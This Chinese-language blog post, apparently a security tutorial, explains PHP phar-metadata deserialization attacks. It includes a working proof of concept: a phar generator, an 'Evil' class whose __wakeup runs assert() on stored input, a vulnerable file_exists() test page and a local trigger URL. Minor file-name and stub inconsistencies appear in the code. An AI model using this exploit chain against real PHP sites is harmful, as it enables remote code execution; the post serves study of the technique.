使用phar实现php反序列化

2019-06-08  本文已影响0人  Err0rzz

前言

一般说到反序列化漏洞,第一反应都是unserialize()函数。然而安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it,利用phar伪协议会将用户自定义的meta-data序列化的形式存储这一特性,扩展php反序列化的攻击面。一般来说,文件操作都是可以触发phar反序列化的。

可以上传Phar文件
有可以利用的魔术方法
文件操作函数的参数可控

攻击原理

phar结构

翻阅手册可以知道,phar由四个部分组成,分别是stub、manifest describing the contents、 the file contents、 [optional] a signature for verifying Phar integrity (phar file format only),以下是对详细的介绍:

a stub

标识作用,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面任意,但是一定要以__HALT_COMPILER();?>结尾,否则php无法识别这是一个phar

a manifest describing the contents

phar文件实质上是一种压缩文件,其中压缩信息、权限等都在这一部分里。当然,我们所需的攻击利用点meta-data序列化信息也在这一部分中。具体结构入图2-1所示:

图2-1 phar文件详细描述信息

the file contents

被压缩的文件。

[optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾。

测试

phar文件生成

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类。
注意:需要将php.ini中的phar.readonly设置成off

# phar_gen.php
<?php

require_once('Evil.class.php');

$exception = new Evil('phpinfo()');

$phar = new Phar("vul.phar");

$phar->startBuffering();

$phar->addFromString("test.txt", "test");

$phar->setStub("<?php__HALT_COMPILER(); ?>");

$phar->setMetadata($exception);

$phar->stopBuffering();

?>
#eval.class.php
<?php
class Evil {
    protected $val;
    function __construct($val)
    {
        $this->val = $val;
    }
    function __wakeup() {
        assert($this->val);
    }
}
?>

执行之后生成一个vul.phar,用二进制编辑器打开,入图2-2所示:

图2-2 vul.phar

由图2-2可以发现,meta-data已经以序列化的形式存在phar文件中。

反序列化

对应,肯定存在着反序列化的操作。php文件系统中很大一部分的函数在通过phar://解析时,存在着对meta-data反序列化的操作。
测试环境如下:

#test.php
<?php
require_once('Evil.class.php');
if ( file_exists($_REQUEST['url']) ) {
    echo 'success!';
} else {
    echo 'error!';
}
?>

访问test.php, http://127.0.0.1/test.php?url=phar://vul.phar,得图2-3。

图2-3 执行成功
参考文章:
https://paper.seebug.org/680/

上一篇 下一篇

猜你喜欢

热点阅读